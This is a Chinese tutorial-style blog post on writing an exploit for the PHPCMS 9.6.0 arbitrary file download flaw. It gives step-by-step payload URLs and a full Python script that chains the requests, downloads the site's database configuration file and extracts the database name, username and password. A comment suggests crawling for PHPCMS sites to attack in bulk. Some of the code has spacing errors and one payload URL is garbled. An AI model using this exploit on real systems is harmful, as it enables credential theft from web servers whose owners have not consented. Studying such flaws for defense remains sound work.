美文网首页
PHPCMS任意文件下载之exp编写

PHPCMS任意文件下载之exp编写

作者: Linux大师 | 来源:发表于2020-10-16 11:56 被阅读0次

编写漏洞利用exp,其实原理很简单,就是模拟人工操作。利用代码将漏洞步骤一步步展现出来,接下来就以PHPCMS任意文件下载为例。

实验工具:firefox,burp,phpcms9.6.0
实验语言:Python3.4
实验环境:php+mysql+apache

先来看看phpcms任意文件下载漏洞复现步骤:

第一步

获取phpcms/modules/wap/index.php中的cookie值

http://127.0.0.1:9096/phpcms0/index.php?m=wap&c=index&a=init&siteid=1
image.png

第二步

构造任意文件下载payload:

http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%2%2)*70
image.png

第三步

获取_att_json值:

http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%252%2)]index.ph... h&f=p%3%252%2*70C

第四步

通过获取到的_att_json值来构造下载payload:


image.png

第五步

通过增加json值认证去访问构造好的下载链接。将get请求中的a_k参数值替换成获取到的_att_json值,并且请求即可。这里后面的标红部分就是获取到的_att_json值


image.png

构造好之后访问即可下载/caches/configs/database.php文件:


image.png

漏洞复现流程走完之后按照漏洞复现流程进行编写exp即可:

#-*-coding=utf-8 -*-
#author = Free雅轩

importrequests
#导入requests模块,模拟爬取访问网页

importre
#导入re正则模块,对网页中我们所需的内容进行匹配

fromurllib.parse import quote
#从urllib.parse模块中导入quote方法,用于对传递进来的url进行编码re

TIMEOUT= 3
#设置网页响应超时时间为3秒

url= r'http://127.0.0.1:9096/phpcms9.0'
#定义URL地址
#这里其实是可以利用采集工具/模拟引擎来进行爬取PHPCMS的关键字来进行批量读取/验证操作

payload=r'&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&i=1&d=1&'
#定义漏洞利用payload
cookies= {}
#设置cookie


#步骤一 获取cookie
step1= '{}/index.php?m=wap&c=index&a=init&siteid=1/'.format(url)
print('step1:{}'.format(step1))
#模拟人工操作构造第一个payload

response1_cookies= requests.get(step1 , timeout=3).cookies
#将第一步的url和cookies结合并赋值给response_cookies,设置url响应超时时间为3秒

fori in response1_cookies:
print(i)
if i.name[-7:] == '_siteid':
cookies_head = i.name[:6]
cookies[cookies_head + '_userid' ] = i.value
cookies[i.name] = i.value
print(cookies)


#步骤二 获取_att_json
step2='{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}'.format(url, quote(payload))
print('step2:{}'.format(step2))
response2_cookies= requests.get(step2 , timeout=3 , cookies=cookies).cookies
forj in response2_cookies:
if j.name[-9:] == '_att_json':
enc_payload = j.value


#步骤三 获取构造下载链接
step3= '{}/index.php?m=content&c=down&a_k={}'.format(url,enc_payload)
print('step3:{}'.format(step3))

#步骤四 利用requests模块中的text方法将网页输出,将获取到的链接中的db,username,password等重要信息匹配出来
step4= requests.get(step3 , timeout=3 , cookies=cookies).text
file= re.findall(r'<a href="(.+?)"',step4)[0]
downfile_url= '{}/index.php{}'.format(url, file)
print(downfile_url)
ret= requests.get(downfile_url).text
print(ret)
re_db= r"'database' => '([\S]+)'"
re_username= r"'username' => '([\S]+)'"
re_password= r"'password' => '([\S]+)'"
db =re.search(re_db, ret).group(1)
username= re.search(re_username, ret).group(1)
password= re.search(re_password, ret).group(1)
print(db,username, password)

执行结果如下:


image.png

相关文章

  • PHPCMS任意文件下载之exp编写

    本文为原创文章,转载请注明出处 学习编写漏洞利用exp,其实原理很简单,就是模拟人工操作。利用代码将漏洞步骤一步...

  • PHPCMS任意文件下载之exp编写

    编写漏洞利用exp,其实原理很简单,就是模拟人工操作。利用代码将漏洞步骤一步步展现出来,接下来就以PHPCMS任意...

  • web安全 爆破cms

    通常我们在进行cms爆破(ps:日站)的时候,通常会采取exp任意文件上传的方法,下面以phpcms为例,讲解一下...

  • 编写ssh互信脚本

    安装expect 编写exp文件audt.exp 编写批量脚本batch.sh

  • [漏洞复现]phpcms9.6.0任意下载漏洞

    任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件触发点在download函数phpcms/modul...

  • webshell实验

    1完成任意文件下载实验并载图 在后面接../../../../文件便能下载任意你想需要文件 2完成任意文件上传客户...

  • Metasploit EXP开发

    EXP开发》》Metasploit 》》》 编写MSF Ax步骤 MSF 使用Ruby编写 我们以编写好的exp作...

  • [转载复现]phpcms9.6.1任意文件下载漏洞

    v9.6.1修复了9.6.0的注入和上传漏洞。不过在修复的时候检验变量出现问题,该漏洞仅存在于v9.6.1 漏洞的...

  • PHPCMS 前台注入/任意文件读取

    发布时间:2016-09-04 公开时间:N/A 漏洞类型:变量覆盖 危害等级:高 漏洞编号:xianzhi-20...

  • 任意文件查看与下载漏洞

    漏洞介绍 利用条件 漏洞危害 任意文件读取 代码形式可如下几种: 任意文件下载 直接下载: 用header()下载...

网友评论

      本文标题:PHPCMS任意文件下载之exp编写

      本文链接:https://www.haomeiwen.com/subject/ltdzpktx.html